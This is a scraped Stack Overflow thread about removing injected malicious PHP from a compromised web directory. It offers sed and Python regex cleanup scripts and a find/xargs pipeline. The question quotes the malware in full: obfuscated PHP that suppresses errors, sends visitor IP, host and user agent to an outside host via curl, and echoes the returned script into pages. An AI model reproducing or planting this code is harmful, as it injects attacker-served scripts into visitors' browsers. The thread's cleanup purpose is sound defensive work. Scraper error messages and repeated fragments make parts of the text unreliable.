Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/linux/26.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/bash/15.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
在Linux中查找和替换多个复杂行_Linux_Bash_Sed_Awk - Fatal编程技术网

在Linux中查找和替换多个复杂行

在Linux中查找和替换多个复杂行,linux,bash,sed,awk,Linux,Bash,Sed,Awk,我正在努力清理一个安全漏洞。我想在web目录中找到所有有问题的PHP代码实例并将其删除。看起来是这样的: <?php #c9806e# error_reporting(0); ini_set('display_errors',0); $wp_xoy23462 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_xoy23462) && !preg_match ('/bot/i', $w

我正在努力清理一个安全漏洞。我想在web目录中找到所有有问题的PHP代码实例并将其删除。看起来是这样的:

<?php
#c9806e#
error_reporting(0); ini_set('display_errors',0); $wp_xoy23462 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_xoy23462) && !preg_match ('/bot/i', $wp_xoy23462))){
$wp_xoy0923462="http://"."template"."class".".com/class"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_xoy23462);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_xoy0923462);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_23462xoy = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_23462xoy,1,3) === 'scr' ){ echo $wp_23462xoy; }
#/c9806e#
?>
<?php

?>
编辑:事实证明,一些换行符是
\r\n
而不是
\n
。(其他只是“\n”。)

在最后一行
$
时,将
x
信息从保留缓冲区恢复到工作缓冲区(事实上交换内容),因此sed现在正在处理完整文件,包括每行末尾的\n

  • 搜索并修改(删除)以开头的图案
  • 如果找到,请重新启动操作(使用新ID)
  • 如果未找到(因此不再有错误代码),则打印结果(已清除的代码)

  • 使用Python而不是
    sed
    进行替换

    正则表达式:

    <\?php\s+#(\w+)#\s+error_reporting\(0\)[^#]+#/\1#\s+\?>[^>]+>
    
    命令解释说:

    find         #Find,
        .             #starting in the current folder,
        -type f        #files only (not directories)
        -name "*.php"   #which have names with extension .php
        -exec grep       #and execute grep on each file with these args:
            -l               #Print file names only (instead of matching lines)
            --null           #End prints with the NUL char instead of a newline
            "wp_xoy0923462"  #Look for this string
            {}               #in this program ("{}" being a placeholder for `find`)
        \;               #(End of the -exec command
    |            #Use the output from above as the stdin for this program:
    xargs        #Read from stdin, and for each string that ends
        -0        #with a NUL char (instead of whitespace)
        -I fname  #replace "fname" with that string (instead of making a list of args)
                  #in the following command:
        python             #Run the Python script
            unhaxphp.py    #with this filename, and pass as argument:
                fname          #the filename of the .php file to unhax
        >> unhax.out   #and append stdout to this file instead of the console
    

    你到底想做什么?请编辑问题,使其变得清晰。“我想在web目录中找到所有有问题的PHP代码实例,并将其删除。”这是否足够清晰?@leewangzhong如果“#…#”是随机的,那么每个PHP中有多少个块(您要删除的块)?最大值1?你最好只是从备份中恢复所有内容,而不是试图搜索坏代码。这很理想,但我无法从漏洞之前获得备份@Kent似乎每个都有一次。这对我有帮助,但作为StackOverflow答案,它并不能真正解释。我无法真正让它工作,所以我做了一些其他事情并将其作为答案发布。如果你想批准编辑,我在适用于我的版本中进行了编辑。很抱歉,无法查看你的编辑以验证,您使用的是哪种版本的sed?我的是AIX版本。使用GNU sed时,add-posix optionI正在纠正错误,而不是语言差异。您的原始版本有不一致的
    转义,缺少换行符(例如,介于#和#之间),并且应该有
    \(
    而不是
    \(#
    )。事实证明,某些输出中有
    \r
    ,但这不是您的错。
    sed -n '1! H;1 h
    $ {x
    : again
      \|<?php\r*\n#\([[:alnum:]]\{6\}\)#\nerror_reporting(0).*#/\1#\r*\n?>\r*\n<?php\r*\n\r*\n?>| s///
      t again
      p
      }'
    
    $ {x
    
    <\?php\s+#(\w+)#\s+error_reporting\(0\)[^#]+#/\1#\s+\?>[^>]+>
    
    <\?php                  #Start of PHP code (escape the '?')
    \s+                     #Match any number of whitespace
    #(\w+)#\s+              #Hax header: one or more alphanumeric
                              #symbols, and use parens to remember this group
    error_reporting\(0\)    #To be really sure that this isn't innocent code,
                              #we check for turning off error reporting.
    [^#]+                   #Match any character until the next #, including
                              #newlines.
    #/\1#\s+                #Hax footer (using \1 to refer to the header code)
    \?>                     #End of the PHP code
    [^>]+>                  #Also catch the dummy <?php ?> that was added:
                              #match up to the next closing '>'
    
    
    # $find . -type f -name "*.php" -exec grep -l --null "wp_xoy0923462" {} \; | xargs -0 -I fname python unhaxphp.py fname >> unhax.out
    
    #Python 2.6
    
    import re
    haxpattern = r"<\?php\s+#(\w+)#\s+error_reporting\(0\)[^#]+#/\1#\s+\?>[^>]+>"
    haxre = re.compile(haxpattern)
    
    #Takes in two file paths
    #Prints from the infile to the outfile, with the hax removed
    def unhax(input,output):
        with open(input) as infile:
            with open(output,'w') as outfile:
                whole = infile.read() #read the entire file, yes
                match = haxre.search(whole)
    
                if not match: #not found
                    return
    
                #output to file
                outfile.write(whole[:match.start()]) #before hax
                outfile.write(whole[match.end():])   #after hax
        #return the removed portion
        return match.group()
    
    def process_and_backup(fname):
        backup = fname+'.bak2014';
    
        #move file to backup
        import os
        os.rename( fname, backup )
    
        try:
            #process
            print '--',fname,'--'
            print unhax(input=backup, output=fname)
        except Exception:
            #failed, undo move
            os.rename( backup, fname)
            raise
    
    def main():
        import sys
        for arg in sys.argv[1:]:
            process_and_backup(arg)
    
    if __name__=='__main__':
        main()
    
    find . -type f -name "*.php" -exec grep -l --null "wp_xoy0923462" {} \; | xargs -0 -I fname python unhaxphp.py fname >> unhax.out
    
    find         #Find,
        .             #starting in the current folder,
        -type f        #files only (not directories)
        -name "*.php"   #which have names with extension .php
        -exec grep       #and execute grep on each file with these args:
            -l               #Print file names only (instead of matching lines)
            --null           #End prints with the NUL char instead of a newline
            "wp_xoy0923462"  #Look for this string
            {}               #in this program ("{}" being a placeholder for `find`)
        \;               #(End of the -exec command
    |            #Use the output from above as the stdin for this program:
    xargs        #Read from stdin, and for each string that ends
        -0        #with a NUL char (instead of whitespace)
        -I fname  #replace "fname" with that string (instead of making a list of args)
                  #in the following command:
        python             #Run the Python script
            unhaxphp.py    #with this filename, and pass as argument:
                fname          #the filename of the .php file to unhax
        >> unhax.out   #and append stdout to this file instead of the console